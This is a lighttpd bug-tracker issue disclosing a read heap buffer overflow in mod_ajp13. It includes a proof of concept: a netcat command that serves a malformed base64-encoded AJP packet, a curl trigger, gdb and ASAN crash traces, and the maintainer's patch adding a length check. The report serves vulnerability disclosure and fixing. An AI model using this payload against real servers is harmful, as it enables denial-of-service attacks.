Project

General

Profile

Actions

Bug #3170

closed

mod_ajp13 read heap buffer overflow

Added by mmmds over 2 years ago. Updated over 2 years ago.

Status:
Fixed
Priority:
Normal
Category:
-
Target version:
ASK QUESTIONS IN Forums:
No

Description

Read heap buffer overflow happens when the server receives malformed response from AJP backend.

The vulnerability was detected on Ubuntu 22.04 x86_64:
- lighttpd 1.4.66 built from source

PoC:
1. Build

$ wget https://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.66.tar.gz
$ tar zxf lighttpd-1.4.66.tar.gz 
$ cd lighttpd-1.4.65/
$ scons -j 4 build_static=1 build_dynamic=0

2. Prepare configuration

server.document-root = "/home/mmm/v/lighttpd/webroot" 
server.port = 8001
server.modules += ("mod_ajp13")
    ajp13.server = ( "" =>
                     ( ( 
                       "host" => "127.0.0.1",
                       "port" => 5577
                     ) )
                   )

3. Start the server

./lighttpd -D -f ~/ajp.conf

4. Run AJP backend serving malformed response

echo "QUIAAASA/wAA" | base64 -d | nc -l 5577

5. Send HTTP request causing AJP connection

curl localhost:8001 

Crash under gdb:

2022-08-14 14:56:07: (src/server.c.1588) server started (lighttpd/1.4.66)

Program received signal SIGSEGV, Segmentation fault.
ajp13_expand_headers (hctx=0x5555555f14e0, plen=4294869346, b=0x5555555e66d0) at src/mod_ajp13.c:740
740                len = ajp13_dec_uint16(ptr);
(gdb) print ptr
$1 = (uint8_t *) 0x555555607000 <error: Cannot access memory at address 0x555555607000>
(gdb) bt
#0  ajp13_expand_headers (hctx=0x5555555f14e0, plen=4294869346, b=0x5555555e66d0) at src/mod_ajp13.c:740
#1  ajp13_recv_parse_loop (hctx=0x5555555f14e0, r=<optimized out>) at src/mod_ajp13.c:821
#2  ajp13_recv_parse (r=<optimized out>, opts=<optimized out>, b=<optimized out>, n=<optimized out>) at src/mod_ajp13.c:955
#3  0x00005555555985a0 in http_response_read (r=r@entry=0x5555555eed00, opts=opts@entry=0x5555555f1580, b=b@entry=0x5555555e8b70, fdn=0x5555555f17d0) at src/http-header-glue.c:1355
#4  0x000055555559046a in gw_recv_response (hctx=0x5555555f14e0, r=0x5555555eed00) at src/gw_backend.c:2337
#5  0x000055555559102b in gw_process_fdevent (revents=1, r=0x5555555eed00, hctx=0x5555555f14e0) at src/gw_backend.c:2435
#6  gw_handle_subrequest (r=0x5555555eed00, p_d=<optimized out>) at src/gw_backend.c:2167
#7  0x000055555557eefe in http_response_handler (r=0x5555555eed00) at src/response.c:982
#8  0x0000555555580dbb in connection_state_machine_loop (r=0x5555555eed00, con=0x5555555eed00) at src/connections.c:1007
#9  0x00005555555806a9 in connection_state_machine_h1 (con=0x5555555eed00) at src/connections.c:1358
#10 connection_state_machine (con=0x5555555eed00) at src/connections.c:1358
#11 0x000055555557d62a in server_run_con_queue (sentinel=<optimized out>, joblist=<optimized out>) at src/server.c:1958
#12 server_main_loop (srv=0x5555555e6520) at src/server.c:2011
#13 0x000055555555fe19 in main (argc=4, argv=0x7fffffffe018) at src/server.c:2085

Crash under ASAN:

2022-08-14 14:56:48: (src/server.c.1588) server started (lighttpd/1.4.66)
=================================================================
==1859941==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x625000004901 at pc 0x000000434647 bp 0x7fffffffda60 sp 0x7fffffffd220
READ of size 16706 at 0x625000004901 thread T0
    #0 0x434646  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x434646)
    #1 0x4ef9f0  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4ef9f0)
    #2 0x527708  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x527708)
    #3 0x526fc2  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x526fc2)
    #4 0x5266c5  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x5266c5)
    #5 0x518bb5  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x518bb5)
    #6 0x503e17  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x503e17)
    #7 0x503b3e  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x503b3e)
    #8 0x50359d  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x50359d)
    #9 0x4cad18  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4cad18)
    #10 0x4cf502  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4cf502)
    #11 0x4ce650  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4ce650)
    #12 0x4ce054  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4ce054)
    #13 0x4c9dbc  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4c9dbc)
    #14 0x4c808f  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4c808f)
    #15 0x4c57a7  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x4c57a7)
    #16 0x7ffff7b78082  (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
    #17 0x41d8ed  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x41d8ed)

0x625000004901 is located 0 bytes to the right of 8193-byte region [0x625000002900,0x625000004901)
allocated by thread T0 here:
    #0 0x496326  (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x496326)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/mmm/lighttpd-1.4.66-asan/sconsbuild/static/build/lighttpd+0x434646) 
Shadow bytes around the buggy address:
  0x0c4a7fff88d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff88e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff88f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4a7fff8910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4a7fff8920:[01]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff8930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff8940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff8950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff8960: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4a7fff8970: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1859941==ABORTING
Aborted

Actions #1

Updated by gstrauss over 2 years ago

  • Status changed from New to Patch Pending
  • Target version changed from 1.4.xx to 1.4.67

Thank you for the bug report and for the details to reproduce.

A malicious backend can trigger a 1-byte unsigned integer underflow (and wrap-around) at
https://git.lighttpd.net/lighttpd/lighttpd1.4/src/branch/master/src/mod_ajp13.c#L676
The underflow results in memory reads until an out-of-bounds memory read causes a crash.

--- a/src/mod_ajp13.c
+++ b/src/mod_ajp13.c
@@ -812,6 +812,12 @@ ajp13_recv_parse_loop (request_st * const r, handler_ctx * const hctx)
         switch(ptr[4]) {
         case AJP13_SEND_HEADERS:
             if (0 == r->resp_body_started) {
+                if (plen < 3) {
+                    log_error(errh, __FILE__, __LINE__,
+                      "AJP13: headers packet received with invalid length");
+                    return HANDLER_FINISHED;
+                }
+
                 buffer *hdrs = hctx->response;
                 if (NULL == hdrs) {How would you like to be credited in the git patch commit message?
                     hdrs = r->tmp_buf;

How would you like to be credited in the git patch commit message?
[Edit: crediting as MichaƂ Dardas] Thanks!

Actions #2

Updated by gstrauss over 2 years ago

  • Status changed from Patch Pending to Fixed
Actions

Also available in: Atom